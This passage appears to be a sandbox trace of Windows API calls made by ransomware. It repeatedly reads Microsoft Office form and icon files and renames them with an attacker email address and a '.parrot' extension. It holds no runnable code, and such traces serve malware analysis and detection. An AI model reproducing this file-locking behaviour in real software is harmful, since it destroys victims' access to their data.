office\\office14\\forms\\1033\\scdrests.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.073] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.120] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.121] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.121] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x335, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x335, lpOverlapped=0x0) returned 1 [0185.122] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.122] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.128] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.128] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.129] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.130] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4af, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4af, lpOverlapped=0x0) returned 1 [0185.130] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.130] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.135] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.135] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.137] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.137] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x343, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x343, lpOverlapped=0x0) returned 1 [0185.137] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.137] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.142] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.143] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.144] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.144] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x341, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x341, lpOverlapped=0x0) returned 1 [0185.144] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.149] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.149] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.152] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.152] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x348, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x348, lpOverlapped=0x0) returned 1 [0185.152] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.152] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.157] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.157] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.158] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.158] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x298, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x298, lpOverlapped=0x0) returned 1 [0185.158] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.158] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.162] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.162] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.164] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.164] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0185.164] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.164] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.169] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.169] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.170] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.170] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0185.171] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.171] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.175] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.175] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.176] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.176] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x287, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x287, lpOverlapped=0x0) returned 1 [0185.176] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.177] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.180] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.180] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.181] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.182] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0185.182] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.182] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.186] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.186] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.187] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.187] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0185.187] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.188] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.191] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.191] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.193] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.193] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x303, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x303, lpOverlapped=0x0) returned 1 [0185.193] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.193] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.200] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.200] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.201] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.201] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x298, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x298, lpOverlapped=0x0) returned 1 [0185.202] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.202] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.206] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.206] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.207] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.207] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0185.207] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.208] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.211] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.211] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.213] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.213] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0185.213] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.214] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.217] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.217] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.218] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.218] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x280, lpOverlapped=0x0) returned 1 [0185.218] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.219] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.223] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.223] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.224] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.224] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x29c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x29c, lpOverlapped=0x0) returned 1 [0185.224] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.225] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.229] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.229] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.276] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.276] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2796, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2796, lpOverlapped=0x0) returned 1 [0185.277] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program 